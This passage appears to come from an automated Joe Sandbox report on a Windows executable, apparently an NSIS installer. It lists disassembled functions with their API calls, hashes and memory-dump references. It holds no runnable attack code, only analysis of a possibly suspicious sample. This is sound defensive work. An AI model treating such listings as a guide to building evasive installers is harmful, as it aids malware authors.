Opcode Fuzzy Hash: 90118ecf7a9ba7c1b0c512c54543666c71b076bc3a218e086344a49311413f62
Instruction Fuzzy Hash: A2315971504218EBDF20CF65ED45A9F3FB8EB08755F20807AF904EA1A0D3349E40DBA9

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3

Part of subcall function 004051F2: lstrlenW.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 0040522A
Part of subcall function 004051F2: lstrlenW.KERNEL32(00402D94,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 0040523A
Part of subcall function 004051F2: lstrcatW.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00402D94,00402D94,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000), ref: 0040524D
Part of subcall function 004051F2: SetWindowTextW.USER32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll), ref: 0040525F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405285
Part of subcall function 004051F2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040529F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001013,?,00000000), ref: 004052AD

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: a8461a16ac82fd46328c3b40fe1928024aef525999e2dd49edf51c7c032d1790
Instruction ID: 409458e37c45ac75b59f5eb787cb01d488d5b476e6d1706a1798d0305ac83909
Opcode Fuzzy Hash: a8461a16ac82fd46328c3b40fe1928024aef525999e2dd49edf51c7c032d1790
Instruction Fuzzy Hash: A221C571904215F6CF206FA5CE48ADEBAB4AB04358F70427BF610B51E0D7B98E41DA6E

Function 100028A4 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.1384748730.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1384465097.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385695895.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385764243.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_fTSt7dc60O.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000001D0,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.ADVAPI32(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: c32cffa1c652d0f2c9f8b1d7d2b39189a889ceb323ad23ef5d1c5f54ddf36b6e
Instruction ID: d7ada52d2c39296e820c3ca3910a3186400bd00b77f85fef4b18c2a42e671548
Opcode Fuzzy Hash: c32cffa1c652d0f2c9f8b1d7d2b39189a889ceb323ad23ef5d1c5f54ddf36b6e
Instruction Fuzzy Hash: 53115171915205EEDB14CFA0C6889AFB6B4EF40359F20843FE042A72D0D6B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: fdfb5bbf2347fc35bcb13febb1c36166d701c4f92b0c5c73d87b5da78d67bd23
Instruction ID: 092ce593f34d4cefb17b57a654468e4a57f6b0d243feea45f1431905bdcf8400
Opcode Fuzzy Hash: fdfb5bbf2347fc35bcb13febb1c36166d701c4f92b0c5c73d87b5da78d67bd23
Instruction Fuzzy Hash: 6F01F431B24210ABE7295B389C05B6A3698E710314F10863FF911F62F1DA78DC13CB4D

Function 004022D5 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000001D0,00000000,00000022,00000000,?,?), ref: 00402C6C

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004022F4
RegCloseKey.ADVAPI32(00000000), ref: 004022FD

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 4bd72c51a3dc84892fe05f41f2106d015a2bbdeef4f8939a42ccf3008d047df4
Instruction ID: 38b5be8bce117af921f4e5ecf87b48473febfbb911f594cd731ca38f4e60318c
Opcode Fuzzy Hash: 4bd72c51a3dc84892fe05f41f2106d015a2bbdeef4f8939a42ccf3008d047df4
Instruction Fuzzy Hash: 30F06272A04210ABEB15AFF59A4EBAE7278DB44318F20453BF201B71D1D5FC5D028A7D

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 0f4d8abf280261f43614518adab2bae4bd66ad472d4fa30d0b6c7b31f2cad2bd
Instruction ID: 2c80559432ee8e8f64af81f0c0a70d483a1ba28b218ef0fe4a74e939514edfa0
Opcode Fuzzy Hash: 0f4d8abf280261f43614518adab2bae4bd66ad472d4fa30d0b6c7b31f2cad2bd
Instruction Fuzzy Hash: CEE08CB2B04104DBCB50AFF4AA889DD7378AB90369B20087BF402F10D1C2B86C009A3E

Function 00405BB4 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\fTSt7dc60O.exe,80000000,00000003), ref: 00405BB8
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405BDA

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction ID: 50e17d5b3030c5d5ce0b1439250f6e41608f831a0cbc2ce1bc41554210f96241
Opcode Fuzzy Hash: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction Fuzzy Hash: 48D09E71658201EFFF098F20DE16F2EBBA2EB84B00F10562CB656940E0D6715815DB16

Function 004026F9 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402713

Part of subcall function 00405E8F: wsprintfW.USER32 ref: 00405E9C

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: cb0a79905901771ea4c1f75ea25e576bfed89f1d44749c98cb94dfee4278d200
Instruction ID: 39f0610c8197233a3f531ee04e93b66353018be783afcd240567e016e4194b11
Opcode Fuzzy Hash: cb0a79905901771ea4c1f75ea25e576bfed89f1d44749c98cb94dfee4278d200
Instruction Fuzzy Hash: 29E01AB2B14114AADB01ABE5DD49CFEB66CEB40319F20043BF101F00D1C67959019A7E

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,000001D0,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: b8abee58de6a0be5eb9c5c198a3cab6a4ba6a66a5c1950069b28e2d3a299ffdb
Instruction ID: 330ade1cb5eaca6017f72c73cdc8309555cb727b7ded56d963bee508ab8c6b31
Opcode Fuzzy Hash: b8abee58de6a0be5eb9c5c198a3cab6a4ba6a66a5c1950069b28e2d3a299ffdb
Instruction Fuzzy Hash: A2E04676290108BADB00EFA4EE4AF9A77ECEB18704F008421B608E6091C774E9408BA8

Function 00405C37 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E90,0040BE90,0040330C,00409230,00409230,004031FE,00413E90,00004000,?,00000000,?), ref: 00405C4B

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: 63114739b8f5e766059d8f14c8810c8407dd6dd2a261f9f87ac8566b0288577e
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: F6E08632104259ABDF10AEA08C04EEB375CEB04350F044436F915E3140D230E9209BA4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.1384748730.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1384465097.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385695895.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385764243.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_fTSt7dc60O.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 00402295 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 004022C6

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 72cdf40c1bf6f5db5f4d9709fda42ed23ef015487cba6367b71ebc3a35df21ba
Instruction ID: 80fa8228d7b44b53eec3e7c38ed93a9451a1703e345daa2b135a9f68ba926bbf
Opcode Fuzzy Hash: 72cdf40c1bf6f5db5f4d9709fda42ed23ef015487cba6367b71ebc3a35df21ba
Instruction Fuzzy Hash: 38E04F30800204BADB00AFA0CD49EAE3B78BF11344F20843AF581BB0D1E6B895809759

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 68a001bc1327843e2883382ea1a3ef1d27013be19fa5e5411c30e9fb0f16b135
Instruction ID: 73733a4af0cc64661bb0b95da8c6c6dbb498264e8b287c2b288e90457a890fe4
Opcode Fuzzy Hash: 68a001bc1327843e2883382ea1a3ef1d27013be19fa5e5411c30e9fb0f16b135
Instruction Fuzzy Hash: B8D012B2B08100D7CB10DFE59A08ADDB765AB50329F304A77D111F21D0D2B885419A3A

Function 004041E6 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004041F8

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b125a5c22b87fd8b2e045755239ffd7a4507a0aeed0b74e9a53f3222272f23b7
Instruction ID: 838c4c0eb33ef43ad7257432987c28a2a788b3f909dd0a51a4998ccc95d90969
Opcode Fuzzy Hash: b125a5c22b87fd8b2e045755239ffd7a4507a0aeed0b74e9a53f3222272f23b7
Instruction Fuzzy Hash: 57C09B717443017BDB308B509D49F1777556754B00F1488397700F50E0CA74E452D62D

Function 0040330F Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
